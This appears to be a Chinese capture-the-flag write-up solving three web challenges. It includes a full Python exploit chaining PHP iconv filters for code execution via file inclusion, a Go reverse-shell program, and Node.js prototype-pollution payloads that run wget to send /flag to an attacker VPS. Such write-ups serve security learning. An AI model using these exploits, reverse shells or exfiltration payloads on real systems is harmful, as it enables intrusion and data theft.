from:http://v2ish1yan.top
使用php伪协议读取index.php的代码
php://filter/read=convert.base64-encode/resource=index.php
error_reporting(0);
if (isset($_GET['N_S.S'])) {
eval($_GET['N_S.S']);
}
if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];
if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
include $file;
} else {
die('error.');
}
}
发现可以执行命令,因为php的特性如果执行给N_S.S传参,那么N_S.S在后端会被规范成N_S_S
所以使用N[S.S来使后端得到的参数为N_S.S(具体原因自己去搜吧)
我原本以为flag在主机里,找了半天结果在phpinfo …
?N[S.S=phpinfo();
感觉部分源码和MyDoor是一样的,只是我尝试用伪协议读取index.php的时候没回显,所以猜测应该就是用了include来读取文件
看到include,我就想起了zedd的一篇文章
文章:
直接使用exp,来执行命令,得到flag
import requests
url = "http://43.143.7.127:28742/index.php?file="
file_to_use = "/etc/passwd"
command = "cat flag.php"
#=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})
print(r.text)
一个没有过滤的文件上传,且在上传后会执行go
加上文件名.
之前的字符串的命令,并且是对你上传的文件进行执行的,(猜的)
eg:
上传文件名为run.go
,那么就会执行go run run.go
,这样会执行go里的代码
所以上传一个反弹shell的go文件
package main
import (
"fmt"
"log"
"os/exec"
)
func main() {
cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/vps/ip 0>&1")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}
然后文件名为run.go,上传就可以得到shell
谢队把flag藏到/home了,挨打!
源码
const express = require("express");
const path = require("path");
const fs = require("fs");
const multer = require("multer");
const PORT = process.env.port || 3000
const app = express();
global = "global"
app.listen(PORT, () => {
console.log(`listen at ${PORT}`);
});
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let objMulter = multer({ dest: "./upload" });
app.use(objMulter.any());
app.use(express.static("./public"));
app.post("/upload", (req, res) => {
try{
let oldName = req.files[0].path;
let newName = req.files[0].path + path.parse(req.files[0].originalname).ext;
fs.renameSync(oldName, newName);
res.send({
err: 0,
url:
"./upload/" +
req.files[0].filename +
path.parse(req.files[0].originalname).ext
});
}
catch(error){
res.send(require('./err.js').getRandomErr())
}
});
app.post('/pollution', require('body-parser').json(), (req, res) => {
let data = {};
try{
merge(data, req.body);
res.send('Register successfully!tql')
require('./err.js').getRandomErr()
}
catch(error){
res.send(require('./err.js').getRandomErr())
}
})
只有一个merge函数里可以进行原型链污染,而且从很多方面都可以看出来这个是原型链污染
具体污染的地方是https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js#L454
可以污染他来加载任意包从而执行任意命令
根据出题人的本意是让我们上传一个包,然后去加载那个包,但是我是直接用的别人的exp,而且题目环境也包含exp里需要的文件,所以直接打就行
给/pollution路由传数据
{
"__proto__": {
"data": {
"name": "./err.js",
"exports": "./preinstall.js"
},
"path": "/opt/yarn-v1.22.19",
"npm_config_global": 1,
"npm_execpath": "--eval=require('child_process').execFile('sh',['-c','wget\thttp://vpsip:vpsport/`cat /flag`'])"
},
"a": null
}
然后就可以得到flag
至于这个exp是在哪找到的,就是题目给了hint:ez_node: https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js#L454
在github上直接搜就可以找到 :>
更加精细的文章可以看
huli老师的文章
Node.js require() RCE复现
在看了Node.js require() RCE复现这篇文章以及本地调试后,大概知道是啥原理了
主要是在https://github.com/nodejs/node/blob/c200106305f4367ba9ad8987af5139979c6cc40c/lib/internal/modules/cjs/loader.js#L454里的
const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {}
进入readPackageScope()
function readPackageScope(checkPath) {
const rootSeparatorIndex = StringPrototypeIndexOf(checkPath, sep);
let separatorIndex;
do {
separatorIndex = StringPrototypeLastIndexOf(checkPath, sep);
checkPath = StringPrototypeSlice(checkPath, 0, separatorIndex);
if (StringPrototypeEndsWith(checkPath, sep + 'node_modules'))
return false;
const pjson = readPackage(checkPath + sep);
if (pjson) return {
data: pjson,
path: checkPath,
};
} while (separatorIndex > rootSeparatorIndex);
return false;
}
在进入readPackage()
function readPackage(requestPath) {
const jsonPath = path.resolve(requestPath, 'package.json');
const existing = packageJsonCache.get(jsonPath);
if (existing !== undefined) return existing;
const result = packageJsonReader.read(jsonPath);
const json = result.containsKeys === false ? '{}' : result.string;
if (json === undefined) {
packageJsonCache.set(jsonPath, false);
return false;
}
try {
const parsed = JSONParse(json);
const filtered = {
name: parsed.name,
main: parsed.main,
exports: parsed.exports,
imports: parsed.imports,
type: parsed.type
};
packageJsonCache.set(jsonPath, filtered);
return filtered;
} catch (e) {
e.path = jsonPath;
e.message = 'Error parsing ' + jsonPath + ': ' + e.message;
throw e;
}
}
他会对当前require请求文件所在的目录中区找package.json文件并进行json解析,如果没有就返回fasle
所以
const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {}
对pkg赋值的肯定是后面的{}
的值
而这里就可以对pkg和pkgPath的值进行污染
总结来说,在require非原生库的过程中,最终会去调用PkgPath
和pkg.exports
拼接起来的字符串所指定的文件
所以payload
{
"__proto__": {
"data": {
"name": "./err.js",
"exports": "./<需要调用文件的文件名>"
},
"path": "<需要调用的文件的路径>",
}
如果要使用题目中提供的文件上传功能的话,就是这样做的
众所周知,require得到的是module.exports的内容,所以先上传一个js文件
好像是没有curl这个命令,所以这里要用wget进行oob
obj={
getRandomErr:() => {
require('child_process').execSync('wget http://vpsport:vpsport/`cat /flag`')
}
}
module.exports=obj
得到上传后的文件名
payload
{
"__proto__": {
"data": {
"name": "./err.js",
"exports": "./cc3ddcac43eb509d0d8df23e0a6fc124.js"
},
"path": "/app/upload"
}
}
给/pollution路由传数据,然后就可以在vps上得到flag